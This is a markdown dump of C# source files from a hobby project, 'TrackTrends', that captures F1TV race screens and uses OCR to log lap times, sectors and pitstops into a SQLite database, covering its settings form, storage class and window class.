this.pbxWindowPreview.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(51)))), ((int)(((byte)(51)))), ((int)(((byte)(51)))));
this.pbxWindowPreview.Location = new System.Drawing.Point(6, 30);
this.pbxWindowPreview.Name = "pbxWindowPreview";
this.pbxWindowPreview.Size = new System.Drawing.Size(1225, 50);
this.pbxWindowPreview.SizeMode = System.Windows.Forms.PictureBoxSizeMode.StretchImage;
this.pbxWindowPreview.TabIndex = 0;
this.pbxWindowPreview.TabStop = false;
this.pbxWindowPreview.Click += new System.EventHandler(this.pbxDriverZone_Click);
this.pbxWindowPreview.MouseClick += new System.Windows.Forms.MouseEventHandler(this.pbxDriverZone_MouseClick);
//
// btnLoadPreset
//
this.btnLoadPreset.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(51)))), ((int)(((byte)(51)))), ((int)(((byte)(51)))));
this.btnLoadPreset.FlatStyle = System.Windows.Forms.FlatStyle.Popup;
this.btnLoadPreset.ForeColor = System.Drawing.Color.White;
this.btnLoadPreset.Location = new System.Drawing.Point(10, 213);
this.btnLoadPreset.Name = "btnLoadPreset";
this.btnLoadPreset.Size = new System.Drawing.Size(243, 40);
this.btnLoadPreset.TabIndex = 10;
this.btnLoadPreset.Text = "Load the preset";
this.btnLoadPreset.UseVisualStyleBackColor = false;
this.btnLoadPreset.Click += new System.EventHandler(this.btnLoadPreset_Click);
//
// lsbPresets
//
this.lsbPresets.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(51)))), ((int)(((byte)(51)))), ((int)(((byte)(51)))));
this.lsbPresets.BorderStyle = System.Windows.Forms.BorderStyle.None;
this.lsbPresets.Font = new System.Drawing.Font("Microsoft YaHei UI", 10F);
this.lsbPresets.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(252)))), ((int)(((byte)(252)))), ((int)(((byte)(252)))));
this.lsbPresets.FormattingEnabled = true;
this.lsbPresets.ItemHeight = 23;
this.lsbPresets.Location = new System.Drawing.Point(10, 23);
this.lsbPresets.Name = "lsbPresets";
this.lsbPresets.Size = new System.Drawing.Size(243, 138);
this.lsbPresets.TabIndex = 8;
this.lsbPresets.SelectedIndexChanged += new System.EventHandler(this.lsbPresets_SelectedIndexChanged);
//
// tbxPresetName
//
this.tbxPresetName.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(51)))), ((int)(((byte)(51)))), ((int)(((byte)(51)))));
this.tbxPresetName.BorderStyle = System.Windows.Forms.BorderStyle.None;
this.tbxPresetName.Font = new System.Drawing.Font("Microsoft YaHei UI", 11F);
this.tbxPresetName.ForeColor = System.Drawing.Color.White;
this.tbxPresetName.Location = new System.Drawing.Point(10, 303);
this.tbxPresetName.Name = "tbxPresetName";
this.tbxPresetName.Size = new System.Drawing.Size(243, 24);
this.tbxPresetName.TabIndex = 7;
//
// btnSavePreset
//
this.btnSavePreset.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(51)))), ((int)(((byte)(51)))), ((int)(((byte)(51)))));
this.btnSavePreset.FlatStyle = System.Windows.Forms.FlatStyle.Popup;
this.btnSavePreset.ForeColor = System.Drawing.Color.White;
this.btnSavePreset.Location = new System.Drawing.Point(10, 259);
this.btnSavePreset.Name = "btnSavePreset";
this.btnSavePreset.Size = new System.Drawing.Size(243, 40);
this.btnSavePreset.TabIndex = 7;
this.btnSavePreset.Text = "Save current preset";
this.btnSavePreset.UseVisualStyleBackColor = false;
this.btnSavePreset.Click += new System.EventHandler(this.btnSavePreset_Click);
//
// gpbxPresets
//
this.gpbxPresets.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right)));
this.gpbxPresets.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(79)))), ((int)(((byte)(79)))), ((int)(((byte)(79)))));
this.gpbxPresets.Controls.Add(this.btnSavePreset);
this.gpbxPresets.Controls.Add(this.btnDeletePreset);
this.gpbxPresets.Controls.Add(this.tbxPresetName);
this.gpbxPresets.Controls.Add(this.btnLoadPreset);
this.gpbxPresets.Controls.Add(this.lsbPresets);
this.gpbxPresets.FlatStyle = System.Windows.Forms.FlatStyle.Popup;
this.gpbxPresets.Font = new System.Drawing.Font("Microsoft YaHei UI", 10F);
this.gpbxPresets.ForeColor = System.Drawing.Color.White;
this.gpbxPresets.Location = new System.Drawing.Point(995, 348);
this.gpbxPresets.Name = "gpbxPresets";
this.gpbxPresets.Padding = new System.Windows.Forms.Padding(0);
this.gpbxPresets.Size = new System.Drawing.Size(259, 333);
this.gpbxPresets.TabIndex = 6;
this.gpbxPresets.TabStop = false;
this.gpbxPresets.Text = "Presets";
this.gpbxPresets.Paint += new System.Windows.Forms.PaintEventHandler(this.removeBorders);
//
// btnDeletePreset
//
this.btnDeletePreset.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(51)))), ((int)(((byte)(51)))), ((int)(((byte)(51)))));
this.btnDeletePreset.FlatStyle = System.Windows.Forms.FlatStyle.Popup;
this.btnDeletePreset.ForeColor = System.Drawing.Color.White;
this.btnDeletePreset.Location = new System.Drawing.Point(10, 167);
this.btnDeletePreset.Name = "btnDeletePreset";
this.btnDeletePreset.Size = new System.Drawing.Size(243, 40);
this.btnDeletePreset.TabIndex = 11;
this.btnDeletePreset.Text = "Delete the preset";
this.btnDeletePreset.UseVisualStyleBackColor = false;
this.btnDeletePreset.Click += new System.EventHandler(this.btnDeletePreset_Click);
//
// Settings
//
this.AutoScaleDimensions = new System.Drawing.SizeF(8F, 19F);
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
this.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(51)))), ((int)(((byte)(51)))), ((int)(((byte)(51)))));
this.ClientSize = new System.Drawing.Size(1266, 788);
this.Controls.Add(this.gpbxPresets);
this.Controls.Add(this.gpbxWindowPreview);
this.Controls.Add(this.gpbxPreview);
this.Controls.Add(this.gpbxDriverList);
this.Controls.Add(this.label1);
this.Controls.Add(this.gpbxRaceSettings);
this.Font = new System.Drawing.Font("Microsoft YaHei UI", 7.8F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.Margin = new System.Windows.Forms.Padding(3, 4, 3, 4);
this.MinimumSize = new System.Drawing.Size(1284, 835);
this.Name = "Settings";
this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen;
this.Text = "Settings";
this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.Settings_FormClosing);
this.Resize += new System.EventHandler(this.Settings_Resize);
this.gpbxRaceSettings.ResumeLayout(false);
this.gpbxRaceSettings.PerformLayout();
this.gpbxDriverList.ResumeLayout(false);
this.gpbxDriverList.PerformLayout();
this.gpbxPreview.ResumeLayout(false);
this.gpbxPreview.PerformLayout();
((System.ComponentModel.ISupportInitialize)(this.pbxPreview)).EndInit();
this.gpbxWindowPreview.ResumeLayout(false);
((System.ComponentModel.ISupportInitialize)(this.pbxWindowPreview)).EndInit();
this.gpbxPresets.ResumeLayout(false);
this.gpbxPresets.PerformLayout();
this.ResumeLayout(false);
this.PerformLayout();
}
#endregion
private System.Windows.Forms.Label label1;
private System.Windows.Forms.Label label2;
private System.Windows.Forms.GroupBox gpbxRaceSettings;
private System.Windows.Forms.TextBox tbxGpUrl;
private System.Windows.Forms.GroupBox gpbxDriverList;
private System.Windows.Forms.ListBox lsbDrivers;
private System.Windows.Forms.Button btnRemoveDriver;
private System.Windows.Forms.Button btnAddDriver;
private System.Windows.Forms.TextBox tbxDriverName;
private System.Windows.Forms.GroupBox gpbxPreview;
private System.Windows.Forms.PictureBox pbxPreview;
private System.Windows.Forms.GroupBox gpbxWindowPreview;
private System.Windows.Forms.PictureBox pbxWindowPreview;
private System.Windows.Forms.Button btnCreateWindow;
private System.Windows.Forms.Button btnCreatZone;
private System.Windows.Forms.ListBox lsbPresets;
private System.Windows.Forms.TextBox tbxPresetName;
private System.Windows.Forms.Button btnSavePreset;
private System.Windows.Forms.Label lblWindowsRemaining;
private System.Windows.Forms.Label lblZonePointsRemaning;
private System.Windows.Forms.Label lblWindowPointsRemaining;
private System.Windows.Forms.Button btnRefresh;
private System.Windows.Forms.Button btnResetDriver;
private System.Windows.Forms.Button btnLoadPreset;
private System.Windows.Forms.GroupBox gpbxPresets;
private System.Windows.Forms.Button btnDeletePreset;
private System.Windows.Forms.ToolTip tip1;
}
}
```
+482
View File
@@ -0,0 +1,482 @@
# Settings.cs
``` cs
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using System.IO;
using TrackTrends;
namespace TrackTrends
{
public partial class Settings : Form
{
private string _grandPrixUrl = "";
private string _selectedConfigFile;
private List<string> _driverList = new List<string>();
private F1TVEmulator Emulator = null;
private ConfigurationTool Config = null;
private bool CreatingZone = false;
private Point ZoneP1;
private Point ZoneP2;
private bool CreatingWindow = false;
private Point WindowP1;
private Point WindowP2;
List<Rectangle> WindowsToAdd = new List<Rectangle>();
public string GrandPrixUrl { get => _grandPrixUrl; private set => _grandPrixUrl = value; }
public List<string> DriverList { get => _driverList; private set => _driverList = value; }
public string SelectedConfigFile { get => _selectedConfigFile; private set => _selectedConfigFile = value; }
//For the responsive content
Size oldSize = new Size();
Size oldGpbxPreviewSize = new Size();
Size oldGpbxWindowPreviewSize = new Size();
Size oldPbxPreviewSize = new Size();
Size oldPbxWindowPreviewSize = new Size();
public Settings()
{
InitializeComponent();
Load();
}
private void Load()
{
RefreshUI();
oldSize = this.Size;
oldGpbxPreviewSize = gpbxPreview.Size;
oldGpbxWindowPreviewSize = gpbxWindowPreview.Size;
oldPbxPreviewSize = pbxPreview.Size;
oldPbxWindowPreviewSize = pbxWindowPreview.Size;
tip1.SetToolTip(btnCreatZone, "After clicking you can select two points in the image to set the bounds of the important data");
tip1.SetToolTip(btnCreateWindow, "After clicking this you will have to select all the windows that are important on the lower image. Refer to the documentation for more infos");
tip1.SetToolTip(btnRefresh, "Starts the emulator or refreshes the images if its already running");
tip1.SetToolTip(btnResetDriver, "Resets the driver if something went wrong or if you want to test an other URL");
tip1.SetToolTip(lsbDrivers, "The drivers that are on the image. Non-Case sensitive");
tip1.SetToolTip(tbxPresetName, "The name of the preset you want to save");
tip1.SetToolTip(pbxPreview, "What the emulator returns");
tip1.SetToolTip(pbxWindowPreview, "One of the driver zones that the program managed to slice from the main zone");
}
private void RefreshUI()
{
lsbDrivers.DataSource = null;
lsbDrivers.DataSource = DriverList;
if (Directory.Exists(ConfigurationTool.CONFIGS_FOLDER_NAME))
{
lsbPresets.DataSource = null;
lsbPresets.DataSource = Directory.GetFiles(ConfigurationTool.CONFIGS_FOLDER_NAME);
}
if (CreatingZone)
{
if (ZoneP1 == new Point(-1, -1))
{
lblZonePointsRemaning.Text = "2 points Remaining";
}
else
{
lblZonePointsRemaning.Text = "1 point Remaining";
}
}
else
{
lblZonePointsRemaning.Text = "";
}
if (CreatingWindow)
{
if (WindowP1 == new Point(-1, -1))
{
lblWindowPointsRemaining.Text = "2 points Remaining";
}
else
{
lblWindowPointsRemaining.Text = "1 point Remaining";
}
lblWindowPointsRemaining.Text = ConfigurationTool.NUMBER_OF_ZONES - WindowsToAdd.Count() + " Windows remaining";
}
else
{
lblWindowPointsRemaining.Text = "";
lblWindowsRemaining.Text = "";
}
if (Config != null)
{
pbxPreview.Image = Config.MainZone.Draw();
if (Config.MainZone.Zones.Count > 0)
pbxWindowPreview.Image = Config.MainZone.Zones[0].Draw();
}
}
private void CreateNewZone(Point p1, Point p2)
{
Rectangle dimensions = CreateAbsoluteRectangle(p1, p2);
Config = new ConfigurationTool((Bitmap)pbxPreview.Image, dimensions);
RefreshUI();
}
private void CreateWindows(List<Rectangle> dimensions)
{
if (Config != null)
{
Config.AddWindows(dimensions);
}
}
private void tbxGpUrl_TextChanged(object sender, EventArgs e)
{
GrandPrixUrl = tbxGpUrl.Text;
}
private void btnAddDriver_Click(object sender, EventArgs e)
{
string newDriver = tbxDriverName.Text;
DriverList.Add(newDriver);
tbxDriverName.Text = "";
RefreshUI();
}
private void btnRemoveDriver_Click(object sender, EventArgs e)
{
if (lsbDrivers.SelectedIndex >= 0)
{
DriverList.RemoveAt(lsbDrivers.SelectedIndex);
}
RefreshUI();
}
private void SwitchZoneCreation()
{
if (CreatingZone)
{
CreatingZone = false;
lblZonePointsRemaning.Text = "";
}
else
{
CreatingZone = true;
if (Config != null)
Config.ResetMainZone();
if (CreatingWindow)
SwitchWindowCreation();
if (Emulator != null && Emulator.Ready)
{
Config = null;
pbxPreview.Image = Emulator.Screenshot();
}
ZoneP1 = new Point(-1, -1);
ZoneP2 = new Point(-1, -1);
lblZonePointsRemaning.Text = "2 Points left";
}
RefreshUI();
}
private void SwitchWindowCreation()
{
if (CreatingWindow)
{
CreatingWindow = false;
}
else
{
CreatingWindow = true;
if (Config != null)
Config.ResetWindows();
if (CreatingZone)
SwitchZoneCreation();
WindowP1 = new Point(-1, -1);
WindowP2 = new Point(-1, -1);
WindowsToAdd = new List<Rectangle>();
}
RefreshUI();
}
private void btnCreatZone_Click(object sender, EventArgs e)
{
SwitchZoneCreation();
}
private void btnCreateWindow_Click(object sender, EventArgs e)
{
SwitchWindowCreation();
}
private void pbxMain_MouseClick(object sender, MouseEventArgs e)
{
if (CreatingZone && pbxPreview.Image != null)
{
//Point coordinates = pbxMain.PointToClient(new Point(MousePosition.X, MousePosition.Y));
Point coordinates = e.Location;
float xOffset = (float)pbxPreview.Image.Width / (float)pbxPreview.Width;
float yOffset = (float)pbxPreview.Image.Height / (float)pbxPreview.Height;
Point newPoint = new Point(Convert.ToInt32((float)coordinates.X * xOffset), Convert.ToInt32((float)coordinates.Y * yOffset));
//MessageBox.Show("Coordinates" + Environment.NewLine + "Old : " + coordinates.ToString() + Environment.NewLine + "New : " + newPoint.ToString());
if (ZoneP1 == new Point(-1, -1))
{
ZoneP1 = newPoint;
}
else
{
ZoneP2 = newPoint;
CreateNewZone(ZoneP1, ZoneP2);
SwitchZoneCreation();
}
RefreshUI();
}
}
private void pbxMain_Click(object sender, EventArgs e)
{
//Not the right one to use visibly
}
private void pbxDriverZone_MouseClick(object sender, MouseEventArgs e)
{
if (CreatingWindow && pbxWindowPreview.Image != null)
{
Point coordinates = e.Location;
float xOffset = (float)pbxWindowPreview.Image.Width / (float)pbxWindowPreview.Width;
float yOffset = (float)pbxWindowPreview.Image.Height / (float)pbxWindowPreview.Height;
Point newPoint = new Point(Convert.ToInt32((float)coordinates.X * xOffset), Convert.ToInt32((float)coordinates.Y * yOffset));
if (WindowP1 == new Point(-1, -1))
{
WindowP1 = newPoint;
}
else
{
WindowP2 = newPoint;
WindowsToAdd.Add(CreateAbsoluteRectangle(WindowP1, WindowP2));
if (WindowsToAdd.Count < ConfigurationTool.NUMBER_OF_ZONES)
{
WindowP1 = new Point(-1, -1);
WindowP2 = new Point(-1, -1);
}
else
{
WindowP1 = new Point(WindowP1.X, 0);
WindowP2 = new Point(WindowP2.X, pbxWindowPreview.Image.Height);
CreateWindows(WindowsToAdd);
SwitchWindowCreation();
}
}
RefreshUI();
}
}
private void pbxDriverZone_Click(object sender, EventArgs e)
{
//Not the right one to use visibly
}
private Rectangle CreateAbsoluteRectangle(Point p1, Point p2)
{
Point newP1 = new Point();
Point newP2 = new Point();
if (p1.X < p2.X)
{
newP1.X = p1.X;
newP2.X = p2.X;
}
else
{
newP1.X = p2.X;
newP2.X = p1.X;
}
if (p1.Y < p2.Y)
{
newP1.Y = p1.Y;
newP2.Y = p2.Y;
}
else
{
newP1.Y = p2.Y;
newP2.Y = p1.Y;
}
return new Rectangle(newP1.X, newP1.Y, newP2.X - newP1.X, newP2.Y - newP1.Y);
}
private async void btnRefresh_Click(object sender, EventArgs e)
{
btnRefresh.Enabled = false;
btnCreatZone.Enabled = false;
btnCreateWindow.Enabled = false;
btnResetDriver.Enabled = false;
if (Emulator == null || Emulator.GrandPrixUrl != tbxGpUrl.Text)
{
Emulator = new F1TVEmulator(tbxGpUrl.Text);
}
if (!Emulator.Ready)
{
Task<int> start = Task.Run(() => Emulator.Start());
int errorCode = await start;
if (errorCode != 0)
{
string message;
switch (errorCode)
{
case 100:
message = "Error " + errorCode + " Could not recover cookies. It could be because of an improper installation of python or bad cookies in the chrome database. Please try to log on to the F1TV using chrome again";
break;
case 101:
message = "Error " + errorCode + " Could not start the driver. It could be because an other instance is runnin make sure you closed them all before trying again";
break;
case 102:
message = "Error " + errorCode + " Could not navigate on the F1TV site. Make sure the correct URL has been given and that you logged from chrome. It can take a few minutes to update";
break;
case 103:
message = "Error " + errorCode + " The url is not a valid url";
break;
case 104:
message = "Error " + errorCode + " The url is not a valid url";
break;
case 105:
message = "Error " + errorCode + " There has been an error trying to emulate button presses. Please try again";
break;
case 106:
message = "Error " + errorCode + " There has been an error trying to emulate button presses. Please try again";
break;
default:
message = "Could not start the emulator Error " + errorCode;
break;
}
MessageBox.Show(message);
}
else
{
pbxPreview.Image = Emulator.Screenshot();
}
}
else
{
pbxPreview.Image = Emulator.Screenshot();
}
btnRefresh.Enabled = true;
btnCreatZone.Enabled = true;
btnCreateWindow.Enabled = true;
btnResetDriver.Enabled = true;
btnRefresh.Text = "Get a newer image";
}
private void Settings_FormClosing(object sender, FormClosingEventArgs e)
{
if (Emulator != null)
{
Emulator.Stop();
}
Emulator = null;
GC.Collect();
}
private void btnResetDriver_Click(object sender, EventArgs e)
{
if (Emulator != null)
{
Emulator.ResetDriver();
}
}
private void btnSavePreset_Click(object sender, EventArgs e)
{
string presetName = tbxPresetName.Text;
if (Config != null)
{
Config.SaveToJson(DriverList, presetName);
}
RefreshUI();
}
private void lsbPresets_SelectedIndexChanged(object sender, EventArgs e)
{
SelectedConfigFile = (string)lsbPresets.Items[lsbPresets.SelectedIndex];
}
private void btnLoadPreset_Click(object sender, EventArgs e)
{
//MessageBox.Show(lsbPresets.SelectedIndex.ToString());
if (lsbPresets.SelectedIndex >= 0 && pbxPreview.Image != null)
{
try
{
string fileName = lsbPresets.Items[lsbPresets.SelectedIndex].ToString();
Reader reader = new Reader(fileName, (Bitmap)pbxPreview.Image, false);
//MainZones #0 is the big main zone containing driver zones
Config = new ConfigurationTool((Bitmap)pbxPreview.Image, reader.MainZones[0].Bounds);
Config.MainZone = reader.MainZones[0];
DriverList = reader.Drivers;
SelectedConfigFile = fileName;
}
catch (Exception ex)
{
MessageBox.Show("Could not load the settings error :" + ex);
}
RefreshUI();
}
}
private void Settings_Resize(object sender, EventArgs e)
{
int xDiff = this.Width - oldSize.Width;
int yDiff = this.Height - oldSize.Height;
gpbxPreview.Size = new Size(oldGpbxPreviewSize.Width + xDiff, oldGpbxPreviewSize.Height + yDiff);
gpbxWindowPreview.Size = new Size(oldGpbxWindowPreviewSize.Width + xDiff, oldGpbxWindowPreviewSize.Height);
pbxPreview.Size = new Size(oldPbxPreviewSize.Width + xDiff, oldPbxPreviewSize.Height + yDiff);
pbxWindowPreview.Size = new Size(oldPbxWindowPreviewSize.Width + xDiff, oldPbxWindowPreviewSize.Height);
}
private void btnDeletePreset_Click(object sender, EventArgs e)
{
int selectedIndex = lsbPresets.SelectedIndex;
if (selectedIndex >= 0)
{
string fileName = lsbPresets.Items[selectedIndex].ToString();
if (File.Exists(fileName))
{
File.Delete(fileName);
RefreshUI();
}
else
{
MessageBox.Show("Could not delete the preset because it does not exists");
}
}
}
private void removeBorders(object sender, PaintEventArgs e)
{
GroupBox gpbx = (GroupBox)sender;
using (Pen pen = new Pen(gpbx.BackColor, 50))
{
e.Graphics.DrawRectangle(pen, 0, 0, gpbx.Width - 1, gpbx.Height - 1);
e.Graphics.DrawRectangle(pen, 0, 0, gpbx.Width - 1, gpbx.Height - 1);
}
using (var brush = new SolidBrush(gpbx.ForeColor))
{
var textPosition = new Point(5, 0); // Adjust the X and Y values as needed
e.Graphics.DrawString(gpbx.Text, gpbx.Font, brush, textPosition);
}
}
}
}
```
+267
View File
@@ -0,0 +1,267 @@
# SqliteStorage.cs
``` cs
/// Author : Maxime Rohmer
/// Date : 30/05/2023
/// File : SqliteStorage.cs
/// Brief : Class that controls the sqlite database
/// Version : Alpha 1.0
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Data.SQLite;
using System.IO;
using System.Windows.Forms;
namespace TrackTrends
{
public class SqliteStorage
{
private const string DATABASE_FOLDER = "./Data";
private const string DATABASE_FILE = "/database.sqlite";
private const string CONNECTION_STRING = "Data Source=" + DATABASE_FOLDER + DATABASE_FILE + ";Version=3;";
private SQLiteConnection Connection;
/// <summary>
/// Creates a new Sqlite Storage and initialize the database
/// </summary>
public SqliteStorage()
{
Load();
}
/// <summary>
/// Loads a fresh new Database or create a new one if it does not exist.
/// </summary>
private void Load()
{
if (!Directory.Exists(DATABASE_FOLDER))
Directory.CreateDirectory(DATABASE_FOLDER);
if (!File.Exists(DATABASE_FOLDER + DATABASE_FILE))
{
SQLiteConnection.CreateFile(DATABASE_FOLDER + DATABASE_FILE);
}
else
{
//We are not using the existing DataBase
File.Delete(DATABASE_FOLDER + DATABASE_FILE);
}
Connection = new SQLiteConnection(CONNECTION_STRING);
Connection.Open();
//Create the drivers table
string createDriversTableQuery = @"CREATE TABLE IF NOT EXISTS Drivers
(ID INTEGER PRIMARY KEY AUTOINCREMENT,
Name VARCHAR NOT NULL);";
using (var command = new SQLiteCommand(createDriversTableQuery, Connection))
{
command.ExecuteNonQuery();
}
//Create the drivers table
string createPitstopTableQuery = @"CREATE TABLE Pitstops
(Lap INTEGER NOT NULL,
DriverID INTEGER NOT NULL,
Tyre VARCHAR,
PRIMARY KEY (Lap,DriverID));";
using (var command = new SQLiteCommand(createPitstopTableQuery, Connection))
{
command.ExecuteNonQuery();
}
//Create the stats
string createStatsTableQuery = @"CREATE TABLE IF NOT EXISTS Stats
(Lap INTEGER NOT NULL,
DriverID INTEGER NOT NULL,
Tyre VARCHAR NOT NULL,
LapTime INTEGER NOT NULL,
Sector1 INTEGER NOT NULL,
Sector2 INTEGER NOT NULL,
Sector3 INTEGER NOT NULL,
GapToLeader INTEGER NOT NULL,
Position INTEGER NOT NULL,
PRIMARY KEY (Lap, DriverID));";
using (var command = new SQLiteCommand(createStatsTableQuery, Connection))
{
command.ExecuteNonQuery();
}
}
/// <summary>
/// Adds a driver into the drivers table. Meant to be used at the start of the programm
/// </summary>
/// <param name="name">The name of the driver. (non case sensitive)</param>
public void AddDriver(string name)
{
string insertQuery = "INSERT INTO Drivers (Name) VALUES (@name);";
using (var command = new SQLiteCommand(insertQuery,Connection))
{
command.Parameters.AddWithValue("@Name",name);
try
{
command.ExecuteNonQuery();
}
catch
{
//MessageBox.Show("An error has occured while trying to insert a new driver into de Database");
}
}
}
/// <summary>
/// Searches for a driver and returns its id if it has been found
/// </summary>
/// <param name="name">Name of the driver (non case sensitive)</param>
/// <returns></returns>
private int GetDriverID(string name)
{
string selectQuery = "SELECT ID FROM Drivers where Name LIKE @driverName";
int result = 0;
using (var command = new SQLiteCommand(selectQuery,Connection))
{
command.Parameters.AddWithValue("@driverName",name);
try
{
using (var reader = command.ExecuteReader())
{
while (reader.Read())
{
result = reader.GetInt32(0);
}
}
}
catch
{
//MessageBox.Show("There has been an error while trying to retrieve the ID of a Driver from the database");
}
}
return result;
}
/// <summary>
/// Gets the sectors from a lapTime. Sectors are subdivisions of a laptime (could be usefull to validate one or the other)
/// </summary>
/// <param name="driverName">The name of the driver who has done the lap</param>
/// <param name="lap">The lap at wich the driver has done the time</param>
/// <returns>A list of the different sectors time in int (ms)</returns>
public List<int> GetSectorsFromLapTime(string driverName,int lap)
{
int driverId = GetDriverID(driverName);
string selectQuery = "SELECT Sector1,Sector2,Sector3 FROM Stats WHERE DriverID = @driverID AND Lap = @lap";
List<int> result = new List<int>();
using (var command = new SQLiteCommand(selectQuery, Connection))
{
command.Parameters.AddWithValue("@driverID", driverId);
command.Parameters.AddWithValue("@lap", lap);
try
{
SQLiteDataReader reader = command.ExecuteReader();
while (reader.Read())
{
result.Add(reader.GetInt32(0));
result.Add(reader.GetInt32(1));
result.Add(reader.GetInt32(2));
}
}
catch
{
//MessageBox.Show("There has been an error while trying to retrieve the ID of a Driver from the database");
}
}
return result;
}
/// <summary>
/// Get the laptime history of a driver
/// </summary>
/// <param name="driverName">The name of the driver</param>
/// <param name="numberOfLaptimes">The number of lapTimes you want</param>
/// <returns>A list of tuples with the lap and the laptime. It will only return the amount it found so even if you ask 5 expect getting less or even 0</returns>
public List<(int LapTime, int Lap)> GetDriverLaptimes(string driverName,int numberOfLaptimes)
{
int driverId = GetDriverID(driverName);
List<(int LapTime, int Lap)> lapData = new List<(int LapTime, int Lap)>();
string selectQuery = "Select LapTime,Lap from Stats WHERE DriverID = @driverID ORDER BY Lap DESC LIMIT @limit";
using (var command = new SQLiteCommand(selectQuery, Connection))
{
command.Parameters.AddWithValue("@driverID", driverId);
command.Parameters.AddWithValue("@limit", numberOfLaptimes);
try
{
SQLiteDataReader reader = command.ExecuteReader();
while (reader.Read())
{
int lapTime = reader.GetInt32(0);
int lap = reader.GetInt32(1);
lapData.Add((lapTime, lap));
}
}
catch
{
//MessageBox.Show("There has been an error while trying to retrieve the ID of a Driver from the database");
}
}
return lapData;
}
/// <summary>
/// Add a pitstop into the db
/// </summary>
/// <param name="driverName">The name of the driver who made his pitstop</param>
/// <param name="lap">The lap where he stopped</param>
/// <param name="tyre">The tyre he took out</param>
public void AddPitstop(string driverName,int lap,string tyre)
{
string insertQuery = "INSERT INTO Pitstops (Lap,DriverID,Tyre) VALUES (@Lap,@DriverID,@Tyre)";
using (var command = new SQLiteCommand(insertQuery,Connection))
{
command.Parameters.AddWithValue("@Lap",lap);
command.Parameters.AddWithValue("@DriverID",GetDriverID(driverName));
command.Parameters.AddWithValue("@Tyre",tyre);
try
{
command.ExecuteNonQuery();
}
catch
{
//MessageBox.Show("An error has occured while trying to insert a new pitstop into the DB" + Environment.NewLine + "Request :"+ command.ToString());
}
}
}
/// <summary>
/// Adds drivers info into the DB (it should only be once per lap)
/// </summary>
/// <param name="data">The Driver data</param>
/// <param name="lap">The lap from wich the datas are from</param>
public void AddDriverStat(DriverData data,int lap)
{
string insertQuery = "INSERT INTO Stats (Lap,DriverID,Tyre,LapTime,Sector1,Sector2,Sector3,GapToLeader,Position) VALUES (@Lap,@DriverID,@Tyre,@LapTime,@Sector1,@Sector2,@Sector3,@GapToLeader,@Position);";
using (var command = new SQLiteCommand(insertQuery,Connection))
{
command.Parameters.AddWithValue("@Lap",lap);
command.Parameters.AddWithValue("@DriverID",GetDriverID(data.Name));
command.Parameters.AddWithValue("@Tyre",data.CurrentTyre.Coumpound.ToString());
command.Parameters.AddWithValue("@LapTime",data.LapTime);
command.Parameters.AddWithValue("@Sector1",data.Sector1);
command.Parameters.AddWithValue("@Sector2", data.Sector2);
command.Parameters.AddWithValue("@Sector3", data.Sector3);
command.Parameters.AddWithValue("@GapToLeader", data.GapToLeader);
command.Parameters.AddWithValue("@Position", data.Position);
try
{
command.ExecuteNonQuery();
}
catch
{
//MessageBox.Show("An error has occured while trying to insert infos about a driver");
}
}
}
}
}
```
+681
View File
@@ -0,0 +1,681 @@
# Window.cs
``` cs
/// Author : Maxime Rohmer
/// Date : 30/05/2023
/// File : Window.cs
/// Brief : Default Window object that is mainly expected to be inherited.
/// Version : Alpha 1.0
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Drawing;
using System.IO;
using Tesseract;
using System.Text.RegularExpressions;
using System.Drawing.Drawing2D;
namespace TrackTrends
{
public class Window
{
public const string STRING_DEBUG_FOLDER = "./GetString";
public const string LAPTIME_DEBUG_FOLDER = "./LapTime";
public const string GAPTOLEADER_DEBUG_FOLDER = "./Gap";
public const string SECTOR1_DEBUG_FOLDER = "./Sector1";
public const string SECTOR2_DEBUG_FOLDER = "./Sector2";
public const string SECTOR3_DEBUG_FOLDER = "./Sector3";
public const string DRS_DEBUG_FOLDER = "./DRS";
public const string TYRE_DEBUG_FOLDER = "./Tyre";
private Rectangle _bounds;
private Bitmap _image;
private string _name;
protected TesseractEngine Engine;
public Rectangle Bounds { get => _bounds; private set => _bounds = value; }
public Bitmap Image { get => _image; set => _image = value; }
public string Name { get => _name; protected set => _name = value; }
//This will have to be changed if you want to make it run on your machine
public static DirectoryInfo TESS_DATA_FOLDER = new DirectoryInfo(@"C:\Users\Moi\Pictures\SeleniumScreens\TessData");
//Debug
public static Random rnd = new Random();
public Bitmap WindowImage
{
get
{
//This little trickery lets you have the image that the window sees
Bitmap sample = new Bitmap(Bounds.Width, Bounds.Height);
Graphics g = Graphics.FromImage(sample);
g.DrawImage(Image, new Rectangle(0, 0, sample.Width, sample.Height), Bounds, GraphicsUnit.Pixel);
return sample;
}
}
/// <summary>
/// Creates a new Window
/// </summary>
/// <param name="image">The image of the parent zone</param>
/// <param name="bounds">The position and size of the window</param>
/// <param name="generateEngine">Does the window need to generate a tesseract engine (takes time and ressources)</param>
public Window(Bitmap image, Rectangle bounds, bool generateEngine = true)
{
Image = image;
Bounds = bounds;
if (generateEngine)
{
Engine = new TesseractEngine(TESS_DATA_FOLDER.FullName, "eng", EngineMode.Default);
Engine.DefaultPageSegMode = PageSegMode.SingleLine;
}
//DEBUG
/*
if (!Directory.Exists(STRING_DEBUG_FOLDER))
Directory.CreateDirectory(STRING_DEBUG_FOLDER);
if (!Directory.Exists(LAPTIME_DEBUG_FOLDER))
Directory.CreateDirectory(LAPTIME_DEBUG_FOLDER);
if (!Directory.Exists(GAPTOLEADER_DEBUG_FOLDER))
